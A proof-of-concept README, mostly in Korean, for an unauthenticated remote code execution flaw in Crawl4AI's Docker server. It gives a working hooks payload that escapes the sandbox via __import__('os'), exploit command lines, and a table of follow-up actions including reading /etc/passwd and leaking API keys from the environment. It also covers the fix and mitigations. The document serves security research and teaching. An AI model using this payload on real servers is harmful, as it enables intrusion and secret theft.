
CVE-2026-26216에 대한 개념 증명 익스플로잇으로, Crawl4AI의 Docker 배포에서 후크 주입을 통한 인증되지 않은 원격 코드 실행을 시연합니다. 취약한 랩 환경을 포함합니다.
hooks (GHSA-5882-5rx9-xgxp)CVSS 10.0 · 사전 인증 RCE · CWE-94 (코드 인젝션) Docker 서버의 Crawl4AI (< 0.8.0)에서
POST /crawl엔드포인트의hooks파라미터를 악용하여 인증되지 않은 원격 코드 실행. POST 하나의 JSON이 컨테이너 내에서 Python을 root로 실행합니다.
이것은 실험실 PoC로, 자체 포함되어 있으며 재현 가능하며, 보안 연구 및 교육 목적입니다.
POST /crawl 엔드포인트는 hooks.code.<evento> 필드에 임의의 Python 코드를 허용합니다. 이 코드는 "집에서 만든 샌드박스"(제한된 내장 함수 사전) 내에서 exec()로 실행됩니다. 그러나 __import__가 허용 목록에 남아 있어, 을 허용하여 전체 샌드박스를 무력화합니다.
__import__('os').system(...)POST /crawl
{
"urls": ["https://example.com"],
"hooks": {
"code": {
"on_page_context_created":
"async def hook(page, context, **kwargs):\n __import__('os').system('id')\n return page"
}
}
}
공식 배포가 기본적으로 JWT가 비활성화되어 있고 컨테이너가 root로 실행되므로, 결과적으로 사전 인증 상태에서 root RCE가 발생합니다.
샌드박스는 작동하는 것처럼 보입니다: open, eval, exec가 제거되어 순진한 공격(open('/etc/passwd'))은 차단됩니다. 이는 잘못된 보안 감각을 만듭니다. 하지만 하나의 위험한 내장 함수(__import__)만 잊어버리면 전체 stdlib(os, subprocess, socket)을 가져올 수 있고, 허용 목록은 장식이 됩니다. 내장 함수 허용 목록은 샌드박스가 아닙니다.
CVE-2026-26216/
├── README.md
├── docker-compose.yml # sobe o servidor vulnerável
├── vulnerable-app/
│ ├── Dockerfile # imagem que roda como root (igual à oficial)
│ ├── requirements.txt
│ ├── server.py # FastAPI: POST /crawl sem auth
│ └── hook_manager.py # o sandbox fraco (a linha vulnerável está aqui)
└── exploit/
└── exploit.py # exploit Python (só stdlib)
정확성 참고.
vulnerable-app/는 Crawl4AI의 취약한 코드 경로를 간결하게 재현한 것입니다(Chromium/Playwright를 열지 않음). PoC가 가볍고 100% 재현 가능하도록 하기 위함입니다. 샌드박스 동작과 페이로드 구조는 공식 권고 GHSA-5882-5rx9-xgxp를 반영합니다. 취약한 라인은vulnerable-app/hook_manager.py에 표시되어 있습니다.
# 1. sobe o alvo
docker compose up -d --build
# 2. demonstração completa
python3 exploit/exploit.py --target http://localhost:11235 --demo
# 3. comando arbitrário
python3 exploit/exploit.py --target http://localhost:11235 --cmd "id; hostname; env"
# 4. derruba
docker compose down -v
| # | 동작 | 영향 |
|---|---|---|
| 1 | open('/etc/passwd') 직접 | 샌드박스에 의해 차단됨 (잘못된 보안) |
| 2 | __import__('subprocess') + id/whoami | RCE root로 |
| 3 | 쉘을 통한 cat /etc/passwd | 임의 파일 읽기 |
| 4 | env | grep KEY | API 키/토큰 유출 |
| 5 | echo ... > /tmp/PWNED | 임의 파일 쓰기 |
그 이후: 내부 네트워크로의 피벗, 클라우드 자격 증명 탈취, 지속성 등.
OPENAI_API_KEY, 내부 토큰, 컨테이너 시크릿 탈취.이 모든 것이 인증 없이 가능합니다.
Crawl4AI 0.8.0에서 수정됨:
__import__ (및 eval/exec/open) 제거됨.CRAWL4AI_HOOKS_ENABLED=true를 통한 명시적 옵트인.일반적인 완화 조치:
crawl4ai >= 0.8.0으로 업데이트하세요.승인된 보안 연구 및 교육을 위한 자료입니다. 소유하고 있거나 명시적인 서면 허가를 받은 시스템에서만 사용하십시오.